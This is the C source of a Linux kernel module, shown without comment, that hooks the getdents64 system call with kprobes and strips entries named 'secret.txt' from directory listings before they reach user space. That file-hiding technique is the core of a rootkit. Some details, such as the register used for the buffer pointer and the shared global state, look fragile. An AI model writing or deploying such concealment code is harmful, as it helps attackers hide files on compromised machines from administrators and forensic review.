- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/kprobes.h>
- #include <linux/slab.h>
- #include <linux/dirent.h>
- #include <linux/uaccess.h>
- MODULE_LICENSE("GPL");
- #define FILE1 "secret.txt"
- // Global buffer and task tracking
- static char __user *dirent_user_ptr = NULL;
- static pid_t target_pid = -1;
- // Pre-handler to capture syscall arguments and PID
- static struct kprobe kp = {
- .symbol_name = "sys_getdents64"
- };
- static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
- dirent_user_ptr = (char __user *)regs->bx;
- target_pid = current->pid;
- printk(KERN_INFO "Captured dirent ptr: %p for PID: %d\n", dirent_user_ptr, target_pid);
- return 0;
- }
- // Return-handler to filter entries
- static struct kretprobe rp = {
- .kp.symbol_name = "sys_getdents64",
- .handler = NULL, // assigned in module init
- .maxactive = 20
- };
- static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) {
- long nread = regs->ax;
- printk(KERN_INFO "syscall return value: %ld for PID: %d\n", nread, current->pid);
- // Sanity check: valid pointer and matching task
- if (!dirent_user_ptr || current->pid != target_pid || nread <= 0) {
- printk(KERN_WARNING "Skipping: Invalid pointer or PID mismatch or empty read\n");
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- // Basic range check for user pointer
- if ((unsigned long)dirent_user_ptr >= PAGE_OFFSET) {
- printk(KERN_WARNING "User pointer out of range: %p\n", dirent_user_ptr);
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- // Bound check
- if (nread > PAGE_SIZE * 4) {
- printk(KERN_WARNING "Unrealistic nread: %ld\n", nread);
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- char *kbuf = kmalloc(nread, GFP_KERNEL);
- if (!kbuf) {
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- if (copy_from_user(kbuf, dirent_user_ptr, nread)) {
- printk(KERN_ERR "copy_from_user failed for PID: %d\n", current->pid);
- kfree(kbuf);
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- // Filter entries
- long bpos = 0, new_nread = nread;
- struct linux_dirent64 *d;
- while (bpos < new_nread) {
- d = (struct linux_dirent64 *)(kbuf + bpos);
- if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
- printk(KERN_INFO "Hiding entry: %s\n", d->d_name);
- memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
- new_nread -= d->d_reclen;
- continue;
- } else {
- bpos += d->d_reclen;
- }
- }
- if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) {
- printk(KERN_ERR "copy_to_user failed\n");
- kfree(kbuf);
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- regs->ax = new_nread;
- kfree(kbuf);
- dirent_user_ptr = NULL;
- target_pid = -1;
- return 0;
- }
- // Module hooks
- static int __init mod_init(void) {
- int ret;
- kp.pre_handler = handler_pre;
- ret = register_kprobe(&kp);
- if (ret) {
- printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
- return ret;
- }
- rp.handler = handler_ret;
- ret = register_kretprobe(&rp);
- if (ret) {
- unregister_kprobe(&kp);
- printk(KERN_ERR "Failed to register kretprobe: %d\n", ret);
- return ret;
- }
- printk(KERN_INFO "Probes registered for sys_getdents64\n");
- return 0;
- }
- static void __exit mod_exit(void) {
- unregister_kretprobe(&rp);
- unregister_kprobe(&kp);
- printk(KERN_INFO "Probes unregistered\n");
- }
- module_init(mod_init);
- module_exit(mod_exit);